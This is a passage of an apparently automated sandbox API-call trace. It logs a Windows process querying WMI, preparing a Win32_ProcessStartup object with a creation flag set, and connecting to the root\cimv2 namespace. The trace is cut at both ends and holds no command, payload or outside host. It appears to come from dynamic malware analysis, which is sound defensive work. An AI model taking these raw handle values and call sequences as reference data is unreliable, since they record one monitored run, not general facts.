[7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbde310) returned 0x0 [0162.628] WbemLocator:IRpcOptions:Query (in: This=0x1bbde310, pPrx=0x1bce6ae0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0162.628] WbemLocator:IUnknown:Release (This=0x1bbde310) returned 0x2 [0162.628] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0162.628] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0162.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81710, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb81710) returned 0x0 [0162.628] WbemLocator:IUnknown:Release (This=0x1bb81710) returned 0x2 [0162.629] SysStringLen (param_1=0x0) returned 0x0 [0162.629] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0162.629] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0162.629] IWbemServices:GetObject (in: This=0x1bb81710, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb933f0, ppCallResult=0x0) returned 0x0 [0162.631] IWbemClassObject:Get (in: This=0x1bb933f0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0162.631] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0162.631] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0162.631] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0162.631] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0162.631] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0162.631] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.633] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bce68e0) returned 0x0 [0162.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce68e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0162.634] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce68e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0a4d0) returned 0x0 [0162.634] WbemDefPath:IUnknown:Release (This=0x1bce68e0) returned 0x0 [0162.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0a4d0) returned 0x0 [0162.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0162.634] WbemDefPath:IUnknown:AddRef (This=0x1aa0a4d0) returned 0x3 [0162.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0162.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0162.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bce6900) returned 0x0 [0162.634] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6900, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.634] WbemDefPath:IUnknown:Release (This=0x1bce6900) returned 0x3 [0162.634] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0162.634] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0162.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0162.635] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x2 [0162.635] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x1 [0162.635] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0162.635] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0162.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0a4d0) returned 0x0 [0162.635] WbemDefPath:IUnknown:AddRef (This=0x1aa0a4d0) returned 0x3 [0162.635] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x2 [0162.635] WbemDefPath:IWbemPath:SetText (This=0x1aa0a4d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0162.635] IWbemClassObject:Get (in: This=0x1bb933f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dff08*=0, plFlavor=0x27dff0c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dff08*=19, plFlavor=0x27dff0c*=0) returned 0x0 [0162.635] IWbemClassObject:Get (in: This=0x1bb933f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dff08*=19, plFlavor=0x27dff0c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dff08*=19, plFlavor=0x27dff0c*=0) returned 0x0 [0162.635] IWbemClassObject:Put (This=0x1bb933f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0162.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a410, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0162.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0162.635] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0162.636] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.636] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0162.636] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0162.636] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0162.636] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.638] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bce6ca0) returned 0x0 [0162.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6ca0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0162.639] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6ca0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0a350) returned 0x0 [0162.639] WbemDefPath:IUnknown:Release (This=0x1bce6ca0) returned 0x0 [0162.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0a350) returned 0x0 [0162.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0162.639] WbemDefPath:IUnknown:AddRef (This=0x1aa0a350) returned 0x3 [0162.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0162.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0162.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bce6ce0) returned 0x0 [0162.640] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6ce0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.640] WbemDefPath:IUnknown:Release (This=0x1bce6ce0) returned 0x3 [0162.640] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0162.640] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0162.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0162.640] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x2 [0162.640] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x1 [0162.640] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0162.640] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0162.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0a350) returned 0x0 [0162.640] WbemDefPath:IUnknown:AddRef (This=0x1aa0a350) returned 0x3 [0162.640] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x2 [0162.640] WbemDefPath:IWbemPath:SetText (This=0x1aa0a350, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0162.640] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0162.640] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0162.640] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.640] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0162.640] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0162.641] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0162.641] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.641] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bce6ee0) returned 0x0 [0162.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6ee0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0162.642] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce6ee0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bce6e40) returned 0x0 [0162.642] WbemLocator:IUnknown:Release (This=0x1bce6ee0) returned 0x0 [0162.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6e40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bce6e40) returned 0x0 [0162.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6e40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0162.642] WbemLocator:IUnknown:AddRef (This=0x1bce6e40) returned 0x3 [0162.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6e40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0162.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6e40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0162.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6e40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0162.642] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0162.642] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0162.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6e40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0162.643] WbemLocator:IUnknown:Release (This=0x1bce6e40) returned 0x2 [0162.643] WbemLocator:IUnknown:Release (This=0x1bce6e40) returned 0x1 [0162.643] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0162.643] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0162.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6e40, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bce6e40) returned 0x0 [0162.643] WbemLocator:IUnknown:AddRef (This=0x1bce6e40) returned 0x3 [0162.643] WbemLocator:IUnknown:Release (This=0x1bce6e40) returned 0x2 [0162.643] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0162.643] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0162.643] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.643] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bce6e60) returned 0x0 [0162.643] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bce6e60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc37410) returned 0x0 [0162.731] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc37410, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc432e0) returned 0x0 [0162.731] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc432e0, pProxy=0x1bc37410, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0162.731] WbemLocator:IUnknown:Release (This=0x1bc432e0) returned 0x1 [0162.731] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc37410, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc43320) returned 0x0 [0162.732] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc37410, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc432e0) returned 0x0 [0162.732] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc432e0, pProxy=0x1bc37410, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0162.732] 